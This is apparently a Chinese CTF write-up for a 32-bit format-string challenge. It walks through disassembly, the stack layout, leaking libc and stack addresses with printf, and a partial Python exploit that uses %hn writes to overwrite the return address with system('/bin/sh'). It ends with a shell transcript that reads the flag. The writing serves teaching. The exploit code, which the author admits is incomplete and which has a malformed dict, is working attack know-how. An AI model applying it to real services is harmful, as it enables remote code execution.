@pnck
2014-12-13T04:46:19.000000Z
字数 4167
阅读 3184
writeup
参考资料量近乎pwn200的一倍……全网能搜到的writeup版本大概有4个,但是没有一个exp看得懂的……最后好不容易攒了几天智商几个小时一次写成了……感觉这个format string 挺典型的(个毛,以前都没做过哪知道典不典型)
程序功能描述一下: nc连上去后有四个选项,1为一个猜数字游戏,一轮直接退出,无意义;2为留下一条消息;3显示这个消息;4退出
2功能用一个自定函数读入n个字符进入一个全局缓冲区,无利用点;3功能把缓冲区内容copy到栈上然后printf,其中这个printf存在format string漏洞(哎。。copy到栈上……也是故意的……其实printf读的是全局缓冲区的内容,这个copy是为后边构造带%n的利用字串准备的。。)
.text:0804880E 42C mov dword ptr [esp+4], offset src ; src.text:08048816 42C lea eax, [ebp+dest] ; Load Effective Address.text:0804881C 42C mov [esp], eax ; dest.text:0804881F 42C call _strcpy ; Call Procedure.text:08048824 42C mov dword ptr [esp], offset aYourMessageIs ; "Your message is:".text:0804882B 42C call _printf ; Call Procedure.text:08048830 42C mov dword ptr [esp], offset src.text:08048837 42C call _printf ; format str.text:0804883C 42C mov eax, [ebp+var_chkStack].text:0804883F 42C xor eax, large gs:14h ; Logical Exclusive OR
仍然有nx,也不会写shellcode,选择与pwn200相似的思路劫持返回流,与pwn200不同的是通过printf,栈地址和其上的内容是可以精确控制的,有其它队伍writeup里写到无法得知栈地址转而劫持got表,其实说得不对。
触发printf的调用链是main --> get_left_msg(3#) --> printf;于是可以利用printf来获取get_left_msg栈帧存放的main的ebp地址,通过main的ebp可以计算出当前get_left_msg的ebp,通过这个ebp就能访问get_left_msg栈帧的所有内容。
做的时候其实各种地址偏移都是连算带猜出来的,写这篇writeup的时候才用gdb仔细跟踪了下栈的结构,最后画个详细的表:
HADDR | CONTENT----------------------------------------------------------------ebp_main+4h | addr ret to __libc_start_mainebp_main | ebp_prev-4h | useless ; align-8h | useless ; align-8h-20h | stack-8h-20h-4h | addr ret to main ; 0x804894e-8h-20h-8h | ebp_main ; ebp_get_left_msg-8h-20h-8h-428h | stack ; current esp----------------------------------------------------------------L
访问ebp_get_left_msg获得ebp_main,再减去某个偏移(表中:0x2c),获得存放返回地址的栈地址,改写这个栈地址的内容劫持eip。另外返回到__libc_start_main的地址也在栈上,读取这个值计算system和/bin/sh字串的偏移,这跟pwn200是一样的。
具体的地址偏移花了不少精力去跟踪才得出来的,关键是ebp_main到ebp_main-8这两个地址是被如下代码
.text:0804889F 000 push ebp.text:080488A0 004 mov ebp, esp.text:080488A2 004 and esp, 0FFFFFFF0h ; 这里,esp -= 8.text:080488A5 004 sub esp, 20h ; Integer Subtraction.text:080488A8 024 mov eax, ds:stdout.text:080488AD 024 mov dword ptr [esp+0Ch], 0 ; n
对齐esp时sub掉的,这点在ida中无法体现(栈指针都没变化是吧),必须动态跟踪才能知道。虽然调试之前已经把exp写出来了,但是那时用的地址很大程度有瞎蒙成分……
选项2和选项3可以重复多次调用,于是首先先把栈地址和所需的数据leak出来:
#代码并非完整可用的代码,其中用到自己写的框架,有一些奇葩的语法实现,不过完整代码也没意义,记录思路就好t = exp_framework('218.2.197.248',10002)(t*2).recv() #欢迎信息要读两次……t.send('2\n','[%279$x]\n','3\n') #leak libc based = (t*2).recv()base = int(d[d.find('[')+1:d.find(']')],16)-0x194d3print 'base:',hex(base)system_addr = base+0x3f430shstr_addr = base+0x160f58t.send('2\n','[%266$x]\n','3\n') #leak main stack base addrd = (t*2).recv()ebp_main = int(d[d.find('[')+1:d.find(']')],16)ret_addr = ebp_main - 0x2c
其中266$x与279$x分别引用的是[esp+266*4]=[ebp_get_left_msg]=ebp_main和[esp+279*4]=[ebp_main+4]=addr ret2 __libc_start_main
接下来构造带有%n的字串把算好的值填入预定位置。
这个%n迷惑了我不少天,其正确形式应该是这样的:printf("6bytes%n",&nWriten);也就是说栈上保存着待写入变量的地址,然后数据会写入到这个地址指向的内存去。好,那么分开两部分构造利用字串,part1是一系列连在一起的地址,供%n引用;part2是%(val)c%(pos)$n构造具体的写入值。构造写入值的时候还有个问题,虽然可以用%12345c这种方法强制输出12345个字符,但是这个数字是有上限的,粗略测试了一下,可以比65535大点,为了方便与统一起见,将每个待写入的值都拆成高低16位用%hn写入每个地址的低2字节。写入值先以升序排序,然后构造最终的exp字串。
最后我们要找到字符串在栈上的地址,否则%n无法引用到。这里程序中那个无意义的strcpy就派上用场了(这种故意留的门好蛋疼……)
-00000428 ; Frame size: 428; Saved regs: 4; Purge: 0-00000428 ;-00000428-00000428 var_428 dd ?-00000424 var_424 dd ?-00000420 var_420 dd ?-0000041C var_41C dd ?-00000418 var_418 dd ?-00000414 var_414 dd ?-00000410 var_410 dd ?-0000040C dest dd 256 dup(?)-0000000C var_chkStack dd ?-00000008 var_8 dd ?-00000004 var_4 dd ?+00000000 s db 4 dup(?)+00000004 r db 4 dup(?)
ESP在0x428,字符串会被copy到栈上dest的位置。0x428 - 0x40c = 0x1c ; 0x1c = 4*7也就是说%7$n刚好引用到字符串本身,把地址放在开头比较简便。
syl = system_addr & 0xffffsyh = (system_addr & 0xffff0000) >> 16szl = shstr_addr & 0xffffszh = (shstr_addr & 0xffff0000) >> 16#先将写入值与对应地址做好映射。写入值必须升序,那么地址顺序会被打乱。所以先dict放在一起。wr_mp = {syl:ret_addr,syh:ret_addr+2,szl:ret_addr+8,ret_addr+10}filled = len(struct.pack('IIII',syl,syh,szl,szh))addr_pack = '' #一系列地址ss = '' #写入值与%hnfor i,pair in enumerate(sorted(wr_mp.iteritems(),key=lambda d:d[0])):v,pos = pairaddr_pack+=struct.pack('I',pos)tofill = v-filledss += '%'+str(tofill)+'c%'+str(i+7)+'$hn' #第一个地址从%7$开始filled += tofillpl = addr_pack+ss+'\n' #构造好的payload
后边就是send,等待get_left_msg函数返回,就可以getshell了。成功截图(伪):
===============================^Caddr should be: 0xb7636430 0xb7757f58/bin/sh: 1: 2: not found/bin/sh: 2: Real: not found/bin/sh: 3: 3: not found/bin/sh: 4:4: not foundcmd-$ cd /homecmd-$ lspwn1pwn2pwn3syclovercmd-$ cd pwn2cmd-$ lsflagpwncmd-$ cat flagSCTF{ZQzq2617}cmd-$ ^Cclose shell.